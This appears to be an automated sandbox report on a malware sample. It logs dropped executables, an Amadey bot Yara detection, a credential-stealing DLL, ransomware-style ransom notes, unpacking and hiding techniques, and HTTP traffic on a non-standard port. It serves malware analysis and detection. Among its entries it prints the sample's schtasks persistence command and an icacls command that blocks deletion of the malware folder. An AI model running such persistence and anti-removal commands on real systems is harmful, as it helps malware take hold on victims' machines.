Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\A170.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\A170.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\913F.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\913F.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\3C54.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\01860199.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 01860199.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 01860199.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: helppane.pdb source: 3C54.exe, 00000014.00000002.507574434.0000000003F70000.00000004.00000800.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644812591.00007FF777031000.00000020.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: NewPlayer.exe, 00000016.00000002.476201608.0000000000091000.00000002.00000001.01000000.00000011.sdmp, NewPlayer.exe, 00000016.00000000.461052075.0000000000091000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\sucagidupusehi\pahopigap\5\muhoyawa.pdb source: 01860199.exe, 00000000.00000000.351185873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, hwgujdv, 00000004.00000000.433612531.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: AC:\sucagidupusehi\pahopigap\5\muhoyawa.pdb source: 01860199.exe, 00000000.00000000.351185873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, hwgujdv, 00000004.00000000.433612531.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: TEST_mi_exe_stub.pdb source: D804.exe, 00000013.00000003.473635062.0000000009A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\huvuvig\juhohan\bamakexuvoni\vaxilil\javefi\5\liguvihahoca\suci.pdb source: explorer.exe, 00000001.00000003.439363024.0000000005973000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.438814937.00000000157FF000.00000004.00000010.00020000.00000000.sdmp, D804.exe
Source:	Binary string: CGC:\huvuvig\juhohan\bamakexuvoni\vaxilil\javefi\5\liguvihahoca\suci.pdb source: explorer.exe, 00000001.00000003.439363024.0000000005973000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.438814937.00000000157FF000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: eex.pdb source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: )5C:\rusuxenalo\dutaz jale\puyenotak\tipibu.pdb source: explorer.exe, 00000001.00000003.443261343.0000000005975000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.443214371.0000000008581000.00000004.00000001.00020000.00000000.sdmp, C861.exe, 00000007.00000000.443424351.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\rusuxenalo\dutaz jale\puyenotak\tipibu.pdb source: explorer.exe, 00000001.00000003.443261343.0000000005975000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.443214371.0000000008581000.00000004.00000001.00020000.00000000.sdmp, C861.exe, 00000007.00000000.443424351.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 6.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 16.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 19.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Unpacked PE file: 26.2.B46F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Unpacked PE file: 29.2.A170.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 31.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Unpacked PE file: 32.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Unpacked PE file: 37.2.913F.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\01860199.exe	Unpacked PE file: 0.2.01860199.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\hwgujdv	Unpacked PE file: 4.2.hwgujdv.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 6.2.D804.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\C861.exe	Unpacked PE file: 7.2.C861.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 16.2.D804.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 19.2.D804.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Unpacked PE file: 26.2.B46F.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Unpacked PE file: 29.2.A170.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 31.2.D804.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Unpacked PE file: 32.2.build2.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Unpacked PE file: 37.2.913F.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Unpacked PE file: 38.2.F4F7.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0040C757 push ebx; ret	0_2_0040C758
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0040C757 push ebx; ret	4_2_0040C758
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_00407449 push ecx; ret	5_2_0040745C
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_00403770 push ecx; mov dword ptr [esp], 00000000h	5_2_00403771
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_024A80AF push ecx; retf	5_2_024A80B2

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_0040D6B0 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

5_2_0040D6B0

Source: XandETC.exe.20.dr	Static PE information: section name: .xdata
Source: cred64[1].dll.35.dr	Static PE information: section name: _RDATA
Source: cred64.dll.35.dr	Static PE information: section name: _RDATA

Source: cred64.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x10ec1f
Source: build3[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x3ca6
Source: mnolyk.exe.22.dr	Static PE information: real checksum: 0x0 should be: 0x462b6
Source: NewPlayer.exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x462b6
Source: 5DA0.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4e4913
Source: aafg31.exe.20.dr	Static PE information: real checksum: 0xfc51b should be: 0xfd56a
Source: mstsca.exe.30.dr	Static PE information: real checksum: 0x0 should be: 0x3ca6
Source: 6FA9.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4e4913
Source: 3C54.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4e4913
Source: 9F31.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4e4913
Source: cred64[1].dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x10ec1f
Source: build3.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x3ca6

Source: initial sample	Static PE information: section name: .text entropy: 7.582759753211569
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877
Source: initial sample	Static PE information: section name: .text entropy: 7.5847412014460565
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877
Source: initial sample	Static PE information: section name: .text entropy: 7.5847412014460565
Source: initial sample	Static PE information: section name: .text entropy: 7.956564628368373
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877
Source: initial sample	Static PE information: section name: .text entropy: 7.956564628368373
Source: initial sample	Static PE information: section name: .text entropy: 7.956564628368373
Source: initial sample	Static PE information: section name: .text entropy: 7.5847412014460565
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877
Source: initial sample	Static PE information: section name: .text entropy: 7.956564628368373
Source: initial sample	Static PE information: section name: .text entropy: 7.5847412014460565
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877
Source: initial sample	Static PE information: section name: .text entropy: 7.890261806957562
Source: initial sample	Static PE information: section name: .text entropy: 7.9249481955685654
Source: initial sample	Static PE information: section name: .text entropy: 7.956564628368373
Source: initial sample	Static PE information: section name: .text entropy: 7.582759753211569
Source: initial sample	Static PE information: section name: .text entropy: 7.5847412014460565
Source: initial sample	Static PE information: section name: .text entropy: 7.957132142496877

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: 00000023.00000003.612344653.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.520904242.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.520904242.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.618034875.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hwgujdv			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ewgujdv			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D689.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\Downloads\ChromeSetup.exe.vapo (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EA44.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BC2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6FA9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\673.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hwgujdv	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A170.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\Downloads\ChromeSetup.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3E02.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CBE6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ewgujdv	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F4F7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\57DC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C861.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3C54.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	File created: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	File created: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A3D5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D804.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B46F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\913F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B8C8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	File created: C:\Users\user\AppData\Local\Temp\aafg31.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	File created: C:\Users\user\AppData\Local\Temp\XandETC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5DA0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	File created: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9F31.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\388B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\_readme.txt
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\_readme.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\01860199.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\hwgujdv:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\ewgujdv:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
